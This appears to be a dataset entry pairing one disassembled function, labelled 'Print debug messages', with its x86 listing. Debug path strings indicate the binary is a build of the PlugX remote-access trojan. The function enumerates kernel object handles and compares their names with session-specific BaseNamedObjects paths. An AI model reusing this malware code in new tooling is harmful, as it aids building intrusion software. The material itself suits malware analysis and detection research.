Function at 0x1001ca70
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
push ebx
push esi
mov eax, 0x490
push edi
mov dword [ebp - 4], eax
mov edi, ecx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x1001caae
push eax
mov edx, 0x631
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x118]
push edi
push str.BaseNamedObjects_s
push eax
call esi
push edi
push dword [ebp - 0x10]
lea eax, [ebp - 0x218]
push str.Sessions_dBaseNamedObjects_s
push eax
call esi
xor edi, edi
xor esi, esi
add esp, 0x1c
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], esi
xor ebx, ebx
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [0x10031050]
mov dword [ebp - 0x14], 0
test eax, eax
jne 0x1001cb2a
mov eax, dword [0x10030fac]
test eax, eax
jne 0x1001cb19
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10030fac], eax
push str.NtQueryObject
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10031050], eax
lea edx, [ebp - 0x14]
push edx
push 0x400
lea edx, [ebp - 0x618]
push edx
lea ecx, [esi*4]
push 1
push ecx
mov dword [ebp - 0x18], ecx
call eax
mov esi, eax
test esi, esi
jns 0x1001cbbc
mov eax, dword [0x10030fa4]
test eax, eax
jne 0x1001cb82
mov eax, dword [0x10030fac]
test eax, eax
jne 0x1001cb71
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10030fac], eax
push str.RtlNtStatusToDosError
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030fa4], eax
push esi
call eax
test eax, eax
je 0x1001cc2c
mov eax, dword [ebp - 4]
mov esi, dword [ebp - 0xc]
inc esi
mov dword [ebp - 0xc], esi
cmp esi, 0x3e8
jl 0x1001caf0
test edi, edi
je 0x1001cbb5
push 1
push edi
call fcn.10027bcc
mov eax, dword [ebp - 4]
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx esi, word [ebp - 0x618]
mov ebx, dword [ebp - 0x614]
test edi, edi
je 0x1001cbd8
push 1
push edi
call fcn.10027bcc
add esp, 8
lea eax, [esi + 2]
push eax
call fcn.10027bda
mov edi, eax
mov dword [ebp - 8], 0
add esp, 4
test edi, edi
jne 0x1001cc14
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
push edi
mov edx, 0x622
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 8
jmp 0x1001cc2a
push esi
mov edx, ebx
mov dword [ebp - 8], esi
mov ecx, edi
mov word [edi + esi], 0
call fcn.1002427e
add esp, 4
mov ebx, edi
cmp dword [ebp - 8], 0
je 0x1001cb8d
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push ebx
call esi
push 0x10028c1c
call esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
lea eax, [ebp - 0x118]
push ebx
push eax
call esi
test eax, eax
je 0x1001cc6c
push ebx
lea eax, [ebp - 0x218]
push eax
call esi
test eax, eax
jne 0x1001cb8d
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1001cc91
push eax
mov edx, 0x656
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
jmp 0x1001cb8d
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x1001cb90